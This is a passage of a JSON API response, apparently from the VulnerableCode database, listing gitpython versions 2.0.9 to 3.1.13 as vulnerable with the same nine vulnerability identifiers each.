557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.0.9"},{"url":"http://public2.vulnerablecode.io/api/packages/29972?format=json","purl":"pkg:pypi/gitpython@2.1.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.1.0"},{"url":"http://public2.vulnerablecode.io/api/packages/29973?format=json","purl":"pkg:pypi/gitpython@2.1.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.1.1"},{"url":"http://public2.vulnerablecode.io/api/packages/29974?format=json","purl":"pkg:pypi/gitpython@2.1.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.1.2"},{"url":"http://public2.vulnerablecode.io/api/packages/29975?format=json","purl":"pkg:pypi/gitpython@2.1.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.1.3"},{"url":"http://public2.vulnerablecode.io/api/packages/29976?format=json","purl":"pkg:pypi/gitpython@2.1.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.1.4"},{"url":"http://public2.vulnerablecode.io/api/packages/29977?format=json","purl":"pkg:pypi/gitpython@2.1.5","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.1.5"},{"url":"http://public2.vulnerablecode.io/api/packages/29978?format=json","purl":"pkg:pypi/gitpython@2.1.6","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.1.6"},{"url":"http://public2.vulnerablecode.io/api/packages/29979?format=json","purl":"pkg:pypi/gitpython@2.1.7","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.1.7"},{"url":"http://public2.vulnerablecode.io/api/packages/29980?format=json","purl":"pkg:pypi/gitpython@2.1.8","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.1.8"},{"url":"http://public2.vulnerablecode.io/api/packages/29981?format=json","purl":"pkg:pypi/gitpython@2.1.9","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.1.9"},{"url":"http://public2.vulnerablecode.io/api/packages/29982?format=json","purl":"pkg:pypi/gitpython@2.1.10","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.1.10"},{"url":"http://public2.vulnerablecode.io/api/packages/29983?format=json","purl":"pkg:pypi/gitpython@2.1.11","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.1.11"},{"url":"http://public2.vulnerablecode.io/api/packages/29984?format=json","purl":"pkg:pypi/gitpython@2.1.12","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.1.12"},{"url":"http://public2.vulnerablecode.io/api/packages/29985?format=json","purl":"pkg:pypi/gitpython@2.1.13","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.1.13"},{"url":"http://public2.vulnerablecode.io/api/packages/29986?format=json","purl":"pkg:pypi/gitpython@2.1.14","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.1.14"},{"url":"http://public2.vulnerablecode.io/api/packages/29987?format=json","purl":"pkg:pypi/gitpython@2.1.15","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.1.15"},{"url":"http://public2.vulnerablecode.io/api/packages/29988?format=json","purl":"pkg:pypi/gitpython@3.0.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.0.0"},{"url":"http://public2.vulnerablecode.io/api/packages/29989?format=json","purl":"pkg:pypi/gitpython@3.0.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.0.1"},{"url":"http://public2.vulnerablecode.io/api/packages/29990?format=json","purl":"pkg:pypi/gitpython@3.0.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.0.2"},{"url":"http://public2.vulnerablecode.io/api/packages/29991?format=json","purl":"pkg:pypi/gitpython@3.0.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.0.3"},{"url":"http://public2.vulnerablecode.io/api/packages/29992?format=json","purl":"pkg:pypi/gitpython@3.0.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.0.4"},{"url":"http://public2.vulnerablecode.io/api/packages/29993?format=json","purl":"pkg:pypi/gitpython@3.0.5","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.0.5"},{"url":"http://public2.vulnerablecode.io/api/packages/29994?format=json","purl":"pkg:pypi/gitpython@3.0.6","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.0.6"},{"url":"http://public2.vulnerablecode.io/api/packages/29995?format=json","purl":"pkg:pypi/gitpython@3.0.7","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.0.7"},{"url":"http://public2.vulnerablecode.io/api/packages/29996?format=json","purl":"pkg:pypi/gitpython@3.0.8","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.0.8"},{"url":"http://public2.vulnerablecode.io/api/packages/29997?format=json","purl":"pkg:pypi/gitpython@3.0.9","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.0.9"},{"url":"http://public2.vulnerablecode.io/api/packages/29998?format=json","purl":"pkg:pypi/gitpython@3.1.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.0"},{"url":"http://public2.vulnerablecode.io/api/packages/29999?format=json","purl":"pkg:pypi/gitpython@3.1.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.1"},{"url":"http://public2.vulnerablecode.io/api/packages/30000?format=json","purl":"pkg:pypi/gitpython@3.1.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.2"},{"url":"http://public2.vulnerablecode.io/api/packages/30001?format=json","purl":"pkg:pypi/gitpython@3.1.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.3"},{"url":"http://public2.vulnerablecode.io/api/packages/30002?format=json","purl":"pkg:pypi/gitpython@3.1.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.4"},{"url":"http://public2.vulnerablecode.io/api/packages/30003?format=json","purl":"pkg:pypi/gitpython@3.1.5","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.5"},{"url":"http://public2.vulnerablecode.io/api/packages/30004?format=json","purl":"pkg:pypi/gitpython@3.1.6","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.6"},{"url":"http://public2.vulnerablecode.io/api/packages/30005?format=json","purl":"pkg:pypi/gitpython@3.1.7","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.7"},{"url":"http://public2.vulnerablecode.io/api/packages/30006?format=json","purl":"pkg:pypi/gitpython@3.1.8","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.8"},{"url":"http://public2.vulnerablecode.io/api/packages/30007?format=json","purl":"pkg:pypi/gitpython@3.1.9","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.9"},{"url":"http://public2.vulnerablecode.io/api/packages/30008?format=json","purl":"pkg:pypi/gitpython@3.1.10","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.10"},{"url":"http://public2.vulnerablecode.io/api/packages/30009?format=json","purl":"pkg:pypi/gitpython@3.1.11","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.11"},{"url":"http://public2.vulnerablecode.io/api/packages/30010?format=json","purl":"pkg:pypi/gitpython@3.1.12","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.12"},{"url":"http://public2.vulnerablecode.io/api/packages/30011?format=json","purl":"pkg:pypi/gitpython@3.1.13","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.13"},{"url":"http://public2.vulnerablecode.io/api/packages/3